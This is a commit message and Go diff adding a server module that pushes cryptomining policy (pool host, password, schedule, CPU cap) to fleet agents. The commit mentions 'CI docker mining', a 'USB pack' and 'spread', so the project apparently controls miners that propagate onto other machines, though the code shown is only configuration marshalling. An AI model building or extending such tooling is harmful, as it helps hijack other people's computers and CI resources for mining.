feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

server/internal/api/fleet_agent_policy.go

@@ -0,0 +1,59 @@
+package api
+
+import (
+	"encoding/json"
+	"strings"
+)
+
+// FleetAgentPolicy is runtime mining/policy pushed to agents without re-forge.
+type FleetAgentPolicy struct {
+	MiningMode     string `json:"mining_mode,omitempty"`
+	ScheduleStart  string `json:"schedule_start,omitempty"`
+	ScheduleEnd    string `json:"schedule_end,omitempty"`
+	MaxCPUUsagePct int    `json:"max_cpu_usage_pct,omitempty"`
+	PoolHost       string `json:"pool_host,omitempty"`
+	PoolPort       int    `json:"pool_port,omitempty"`
+	PoolTLS        *bool  `json:"pool_tls,omitempty"`
+	PoolPass       string `json:"pool_pass,omitempty"`
+}
+
+func (p FleetAgentPolicy) IsEmpty() bool {
+	var zero FleetAgentPolicy
+	return p == zero
+}
+
+func normalizeFleetAgentPolicy(p FleetAgentPolicy) FleetAgentPolicy {
+	p.MiningMode = strings.TrimSpace(strings.ToLower(p.MiningMode))
+	p.ScheduleStart = strings.TrimSpace(p.ScheduleStart)
+	p.ScheduleEnd = strings.TrimSpace(p.ScheduleEnd)
+	p.PoolHost = strings.TrimSpace(p.PoolHost)
+	p.PoolPass = strings.TrimSpace(p.PoolPass)
+	if p.MaxCPUUsagePct < 0 {
+		p.MaxCPUUsagePct = 0
+	}
+	if p.MaxCPUUsagePct > 100 {
+		p.MaxCPUUsagePct = 100
+	}
+	return p
+}
+
+func marshalFleetPolicyPayload(p FleetAgentPolicy) json.RawMessage {
+	return mustMarshal(normalizeFleetAgentPolicy(p))
+}
+
+// marshalPolicyUpdatePayload attaches push_id so dashboards can correlate agent acks.
+func marshalPolicyUpdatePayload(pushID string, p FleetAgentPolicy) json.RawMessage {
+	norm := normalizeFleetAgentPolicy(p)
+	if pushID == "" {
+		return mustMarshal(norm)
+	}
+	body, _ := json.Marshal(norm)
+	var flat map[string]interface{}
+	_ = json.Unmarshal(body, &flat)
+	if flat == nil {
+		flat = map[string]interface{}{}
+	}
+	flat["push_id"] = pushID
+	out, _ := json.Marshal(flat)
+	return out
+}